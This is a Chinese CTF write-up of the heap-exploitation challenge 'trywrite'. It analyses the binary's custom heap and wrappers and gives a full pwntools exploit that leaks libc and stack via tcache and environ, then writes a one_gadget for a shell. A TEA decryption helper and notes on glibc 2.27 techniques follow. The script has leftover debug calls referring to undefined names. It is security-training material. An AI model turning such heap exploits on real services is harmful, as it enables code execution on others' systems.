[Pwn] trywrite -cpt.shao xp0int Posted on May 27 2019 算是这次比赛比较有意思的一题,虽然提供了tcache这种较低利用难度的机制,但是程序本身的防护限制导致利用起来异常困难。 比赛到最后的时候已经泄露出了stack地址,但是脑子一下没转过弯来,差了最后写onegadget的临门一脚。 ## 程序分析  main函数开始会要求选手输入一个mmap地址,如果地址不合法就会使用默认的一个`0x112233440000`的地址。这个地址会作为自定义的堆,我们姑且叫它fake heap。 接下来是常规的增删改操作。  ### Add 其中add的逻辑如下,每次分配0x90固定大小的chunk,然后接收data和key,填充。  msg的具体结构如下: ```plain +--------------------+ | key1 | +--------------------+ | data(128) | | | | | +--------------------+ | key2 | +--------------------+ ``` 输入16byte的key会分为两个部分放在开头和结尾,中间夹着数据。 ### Show show函数会根据key和data对数据进行原地加密后用write直接输出。据队友说是改版的tea加密算法。  ## Update 程序提供了一个`change_key`函数,要求输入key1距离fake heap的偏移,以及key2距离key1的偏移。仔细阅读的话发现dist2其实对写入数据的位置没有影响,而且我们可以通过构造dist2和dist1的值来达到任意写的效果,后面再谈。就算成功写入了还会有个“你敢耍我”的检查,主要是用来防UAF,只有LIST上出现的指针才能写入。  ## Wrapper 程序比较特别的地方是设置了两个wrapper函数。首先是malloc的wrapper函数,会直接检查malloc返回的地址是否在fake heap当中,如果不是就会直接在fakeheap中做一次分配并返回地址。  还有一个memcpy wrapper,其中ALLOW_START/ALLOW_END是libc的起始和终止,如果调用这个函数来往libc写内容就会强制退出。  ## 利用步骤 1. 泄露libc,tcache泄露libc的方法不必多说,比较棘手的是解密脚本的编写,(不会crypto吃大亏),拜托@mf队友改好了一个c语言的脚本,泄露时直接shell调用。 2. 通过update可以在`fakeheap+0x8`的位置伪造一个size,同时保证LIST中出现`fakeheap+0x8`的指针,绕过“你敢耍我”的检查。 3. 通过update在`fakeheap+0x10`的位置写key1,key2设置为`fakeheap+0x10`这样key2会出现在LIST[11]的位置。 4. free `LIST[11]`,tcache下次就会返回`fakeheap+0x10`,这样就获得了一个LIST表的任意写,可以进行arbitrary free。 5. 在LIST中伪造一个`libc.symbols['environ']-8`的指针,通过show泄露出一个stack地址。 6. 计算update函数返回地址距离泄露stack地址的偏移,再次通过update写入onegadget。但是由于之前泄露stack的时候加密步骤把`environ`原本的NULL值破坏了,而onegadget的第三个参数正好是从`environ`中获取的,必须为NULL,所以要先再update把`environ`填零。实际上update处的范围检测是可以绕过的,在我们知道fakeheap地址和目标地址的情况下,实际上只要`dist1==dist2`就能进行绕过检查进行任意写操作了。(好像存在整数溢出的问题) ## exp.py ```python # flag{f5d6bca45c25057c62629f5e1dd12dee} from pwn import * import re from FILE import * context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': ''} # context.log_level = "debug" libc = ELF('./libc-2.27.so') if len(sys.argv) == 1: p = process('./trywrite') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def add(key, date): sla(">>", "1") sea("key:", key) sea("date:", date) def delete(idx): sla(">>", "3") sla("index:", str(idx)) def show(idx): sla(">>", "2") sla("index:", str(idx)) leak = ru("\nSuc")[1:-4] # print hexdump(leak) return leak def decode(p1, p2, key): d1 = u32(p1) d2 = u32(p2) def decode_date(data, key): assert(len(data) == 0x80) i = 0 while (i < len(data)): decode(data[i:i+4], data[i+4:i+8], key) i += 8 def update(dist1, dist2, key1, key2): sla(">>", "4") sla("heap:", str(dist1)) sla("key:", str(dist2)) sea("key:", key1 + key2) fakeheap = 0x600000 sla("heap:", str(fakeheap)) sla("/N)", "Y") # no name for now sl(p64(0xa1)) # fake size for i in range(9): add("\x11"*0x10, (p64(0xa1) + p64(0)) *8) for i in range(8): delete(i) # libc at 7 for i in range(7): add("\x11"*0x10, (p64(0xa1) + p64(0)) *8) add("\x11"*0x10, "\x0a") data = show(7) d1 = u32(data[0:4]) d2 = u32(data[4:8]) info_addr("d1", d1) info_addr("d2", d2) s = "%d %d" % (d1, d2) res = os.popen("./decode %s" % s).read() leak_libc = int(res, 16) info_addr("leak_libc", leak_libc) libc.address = leak_libc - 0x3ebc00 info_addr("libc", libc.address) update(0x8, 8, p64(0xa1), p64(fakeheap+0x8)) update(0x10, 0x10, p64(0x41414141), p64(fakeheap+0x10)) delete(11) fake_table = fit({ 0x20: 0x71, 0x28: libc.symbols['environ'] - 8, 0x30: 0x600510, 0x38: 0x600510, 0x40: 0x600510, 0x48: 0x600510, 0x50: 0x600510, 0x58: 0x600510, 0x60: 0x600470, 0x68: 0x600450, 0x70: 0x600010, }, filler="\x00") add("\x11"*0x10, fake_table + "\n") data = show(0) print hexdump(data) d1 = u32(data[0:4]) d2 = u32(data[4:8]) s = "%d %d" % (d1, d2) print s res = os.popen("./decode2 %s" % s).read() stack = int(res, 16) info_addr("stack", stack) target = libc.symbols['environ'] # clear environ first delete(9) fake_table = fit({ 0x20: 0x71, 0x28: target, 0x30: 0, 0x38: 0x600040, 0x40: 0x600510, 0x48: 0x600510, 0x50: 0x600510, 0x58: 0x600510, 0x60: 0x600470, 0x68: 0x600450, 0x70: 0x600010, }, filler="\x00") add("\x11"*0x10, fake_table + "\n") bp(code + 0x1637) gdb.attach(p, gdbcmd) update(target-fakeheap, target-fakeheap, p64(0), p64(0)) target = stack - 0x180 # do one gadget delete(9) fake_table = fit({ 0x20: 0x71, 0x28: target, 0x30: 0, 0x38: 0x600040, 0x40: 0x600510, 0x48: 0x600510, 0x50: 0x600510, 0x58: 0x600510, 0x60: 0x600470, 0x68: 0x600450, 0x70: 0x600010, }, filler="\x00") add("\x11"*0x10, fake_table + "\n") one = libc.address + 0x4f322 update(target-fakeheap, target-fakeheap, p64(one), p64(0)) p.interactive() ``` 其中解密脚本 ```c #include <stdio.h> #include <stdint.h> #define round 16 //加密函数 void encrypt(uint32_t *v, uint32_t *k) { uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < round; i++) { /* basic cycle start */ sum += delta; v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); // printf("%u\n", sum); } /* end cycle */ v[0] = v0; v[1] = v1; } //解密函数 void decrypt(uint32_t *v, uint32_t *k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xe3779b90, i; /* set up */ uint32_t delta = 0x9e3779b9; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < round; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1; } int main(int argc, char *argv[]) { // uint32_t v[2] = {0x0, 0x0}, k[4] = {0x11111111, 0x11111111, 0x11111111, 0x11111111}; // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 uint32_t d1 = atol(argv[1]); uint32_t d2 = atol(argv[2]); uint32_t v[2] = {d1, d2}, k[4] = {0x11111111, 0x11111111, 0x11111111, 0x11111111}; // encrypt(v, k); decrypt(v, k); // printf("解密后的数据:%lx %lx\n", v[0], v[1]); printf("0x%lx\n", v[1]*0x100000000 + v[0]); return 0; } ``` ## 总结 现在回头看这题思路还蛮清晰的,就是解密那里有道坎。 但是比赛过程中浪费了很多时间在错的思路上。 + 通过update能够比较容易获得overlap的chunk,然后就想使用`house of orange`来攻击unsortedbin,因为tcache机制的存在,造一个unsortedbin本身就比较麻烦。而且单个msg size是0x90的情况下还不能一次性写入fake file,导致花了很多时间调试,而最后发现原来`house of orange`在libc 2.27上**用不了!!!** 最终代码发现主要是因为abort函数中的fflush被去掉了。 ``` /* Cause an abnormal program termination with core-dump. */ void abort (void) { ... /* Send signal which possibly calls a user handler. */ if (stage == 1) { //原本这里有个fflush函数 可以用来用来fsop getshell。 /* This stage is special: we must allow repeated calls of `abort' when a user defined handler for SIGABRT is installed. This is risky since the `raise' implementation might also fail but I don't see another possibility. */ int save_stage = stage; stage = 0; __libc_lock_unlock_recursive (lock); raise (SIGABRT); __libc_lock_lock_recursive (lock); stage = save_stage + 1; } ... ``` + unsorted bin attack 还有一种思路是通过unsorted bin attack来做fsop,就是startctf 2019 heap master的思路嘛。然而发现2.27上面unsortbin bin attack也用不了。其实how2heap上面早就说了2.26以后就用不了了。  + 比赛过程中差点就能完成了,900分的一道题有点可惜。看得出来出题人还是花了很多时间精力准备这道题目的。给大佬递茶。 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Web] 高明的黑客 - LanceaKing [RE] JustRe - n3w
没有帐号? 立即注册